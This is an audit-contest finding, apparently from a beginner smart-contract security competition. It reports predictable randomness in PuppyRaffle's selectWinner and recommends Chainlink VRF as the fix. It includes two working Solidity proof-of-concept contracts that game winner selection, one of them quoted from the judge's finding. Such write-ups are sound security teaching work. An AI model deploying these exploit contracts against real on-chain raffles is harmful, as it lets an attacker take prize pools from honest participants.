Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Predictable Randomness in PuppyRaffle::selectWinner() Allows Winner Manipulation

Root + Impact

Description

  • The raffle should select a winner randomly and fairly, where each participant has an equal and unpredictable chance of winning based on their number of entries. The NFT rarity should also be randomly distributed according to the specified probabilities.

  • The PuppyRaffle::selectWinner() function uses on-chain data (msg.sender, block.timestamp, block.difficulty) to generate pseudo-random numbers for both winner selection and NFT rarity determination. These values are publicly known and predictable, allowing malicious actors to manipulate or predict the outcome.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
// ❌ PREDICTABLE RNG for winner selection
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(
msg.sender, // ❌ Attacker controls this
block.timestamp, // ❌ Known in advance
block.difficulty // ❌ Manipulable by miners/validators
))) % players.length;
address winner = players[winnerIndex];
// ... fee calculations ...
// ❌ PREDICTABLE RNG for rarity (even weaker - no timestamp!)
uint256 rarity = uint256(keccak256(abi.encodePacked(
msg.sender, // ❌ Attacker controls this
block.difficulty // ❌ Manipulable by miners/validators
))) % 100;
// ...
}

Risk

Likelihood:

  • Reason 1: A sophisticated attacker (miner/validator) can manipulate block.difficulty/prevrandao directly. While this requires being a validator, the increasing accessibility of staking makes this more feasible over time.

  • Reason 2: Any participant can calculate all possible outcomes off-chain by iterating through different msg.sender addresses and only execute the transaction if they would win. This requires no special privileges - just computational power and multiple controlled addresses.

  • Reason 3: The function has no access control, allowing attackers to choose the optimal moment (specific block.timestamp) to call selectWinner() when conditions favor them.

Impact:

  • Impact 1: Complete subversion of fairness - The raffle becomes deterministic rather than random. Attackers can guarantee their own victory, making honest participants unable to win and destroying the protocol's core value proposition.

  • Impact 2: Economic exploitation - An attacker who can predict or influence the outcome can:

    • Enter the raffle with minimal entries only when they know they'll win

    • Win the 80% prize pool repeatedly

    • Mint only legendary NFTs (5% probability becomes 100%)

    • Front-run legitimate winners by timing their transaction strategically

    Impact 3: Validator/MEV abuse - Block proposers can:

    • Reorder transactions to ensure their address calls selectWinner()

    • Manipulate prevrandao by choosing which block to propose

    • Extract value from the protocol systematically

Proof of Concept

Attack Scenario 1: Brute Force Winner Prediction

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {PuppyRaffle} from "./PuppyRaffle.sol";
contract WinnerPredictor {
PuppyRaffle public puppyRaffle;
constructor(address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
}
/// @notice Calculate if calling from a specific address would make them win
/// @param caller The address that would call selectWinner()
/// @return wouldWin True if the caller would win
/// @return winnerAddress The address that would win
function predictWinner(address caller) public view returns (bool wouldWin, address winnerAddress) {
uint256 playersLength = getPlayersLength();
require(playersLength >= 4, "Not enough players");
// Simulate the exact calculation from selectWinner()
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(
caller,
block.timestamp,
block.difficulty
))) % playersLength;
winnerAddress = getPlayerAtIndex(winnerIndex);
wouldWin = (winnerAddress == caller);
}
/// @notice Find an address controlled by attacker that would win
/// @param controlledAddresses Array of addresses attacker controls
/// @return winningAddress Address that would win if used to call selectWinner()
function findWinningAddress(address[] memory controlledAddresses)
public
view
returns (address winningAddress)
{
for (uint256 i = 0; i < controlledAddresses.length; i++) {
(bool wouldWin, ) = predictWinner(controlledAddresses[i]);
if (wouldWin) {
return controlledAddresses[i];
}
}
revert("No winning address found in controlled addresses");
}
// Helper functions to read PuppyRaffle state
function getPlayersLength() public view returns (uint256) {
uint256 count = 0;
while (true) {
try puppyRaffle.players(count) returns (address) {
count++;
} catch {
break;
}
}
return count;
}
function getPlayerAtIndex(uint256 index) public view returns (address) {
return puppyRaffle.players(index);
}
}

Recommended Mitigation

Solution 1: Use Chainlink VRF (Recommended)

Implement Chainlink VRF v2 for truly verifiable randomness:

+ import {VRFCoordinatorV2Interface} from "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
+ import {VRFConsumerBaseV2} from "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
- contract PuppyRaffle is ERC721, Ownable {
+ contract PuppyRaffle is ERC721, Ownable, VRFConsumerBaseV2 {
+ VRFCoordinatorV2Interface private immutable i_vrfCoordinator;
+ bytes32 private immutable i_gasLane;
+ uint64 private immutable i_subscriptionId;
+ uint32 private immutable i_callbackGasLimit;
+ uint16 private constant REQUEST_CONFIRMATIONS = 3;
+ uint32 private constant NUM_WORDS = 2; // One for winner, one for rarity
+ mapping(uint256 => address[]) private s_requestIdToPlayers;
constructor(
uint256 _entranceFee,
address _feeAddress,
uint256 _raffleDuration,
+ address vrfCoordinator,
+ bytes32 gasLane,
+ uint64 subscriptionId,
+ uint32 callbackGasLimit
- ) ERC721("Puppy Raffle", "PR") {
+ ) ERC721("Puppy Raffle", "PR") VRFConsumerBaseV2(vrfCoordinator) {
entranceFee = _entranceFee;
feeAddress = _feeAddress;
raffleDuration = _raffleDuration;
raffleStartTime = block.timestamp;
+ i_vrfCoordinator = VRFCoordinatorV2Interface(vrfCoordinator);
+ i_gasLane = gasLane;
+ i_subscriptionId = subscriptionId;
+ i_callbackGasLimit = callbackGasLimit;
// ... rest of constructor
}
- function selectWinner() external {
+ function selectWinner() external returns (uint256 requestId) {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
- uint256 winnerIndex = uint256(keccak256(abi.encodePacked(
- msg.sender,
- block.timestamp,
- block.difficulty
- ))) % players.length;
+ // Request random words from Chainlink VRF
+ requestId = i_vrfCoordinator.requestRandomWords(
+ i_gasLane,
+ i_subscriptionId,
+ REQUEST_CONFIRMATIONS,
+ i_callbackGasLimit,
+ NUM_WORDS
+ );
+ // Store current players for this request
+ s_requestIdToPlayers[requestId] = players;
+ }
+ // Chainlink VRF callback
+ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords)
+ internal
+ override
+ {
+ address[] memory requestPlayers = s_requestIdToPlayers[requestId];
+
+ // Use first random word for winner
+ uint256 winnerIndex = randomWords[0] % requestPlayers.length;
address winner = requestPlayers[winnerIndex];
uint256 totalAmountCollected = requestPlayers.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
uint256 tokenId = totalSupply();
- uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
+ // Use second random word for rarity
+ uint256 rarity = randomWords[1] % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
+
+ delete s_requestIdToPlayers[requestId];
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!